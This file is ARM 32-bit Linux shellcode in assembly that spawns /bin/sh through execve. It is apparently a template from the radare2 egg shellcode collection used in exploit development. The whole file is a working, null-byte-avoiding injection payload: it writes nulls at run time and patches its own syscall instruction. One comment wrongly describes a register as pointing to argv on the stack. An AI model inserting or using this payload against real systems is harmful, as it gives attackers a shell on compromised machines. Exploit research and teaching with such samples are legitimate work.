; ARM 32-bit Linux execve /bin/sh shellcode
; Assembly equivalent of libr/egg/p/sc/src/arm-linux-binsh.c
;
; Execve("/bin/sh", ["/bin/sh", NULL], NULL) using syscall 0xb

.arch arm
.bits 32

sub r2, r2, r2              ; r2 = 0 (will be used for NULL bytes)
add r3, pc, 0x1c            ; r3 = address of "/bin/sh" string
str r3, [sp, 4]             ; argv[0] = "/bin/sh"
str r2, [sp, 8]             ; argv[1] = NULL
lsl r0, r3, r2              ; r0 = r3 (filename ptr)
strb r2, [r3, 7]            ; null-terminate string at "/bin/sh\0"
add r3, pc, 4               ; r3 = address of argv on stack
add r1, sp, 4               ; r1 = argv pointer
strb r2, [r3, 1]            ; another NULL byte
svc 0x900b0b                ; syscall execve (syscall 0xb)
.ascii "/bin/sh"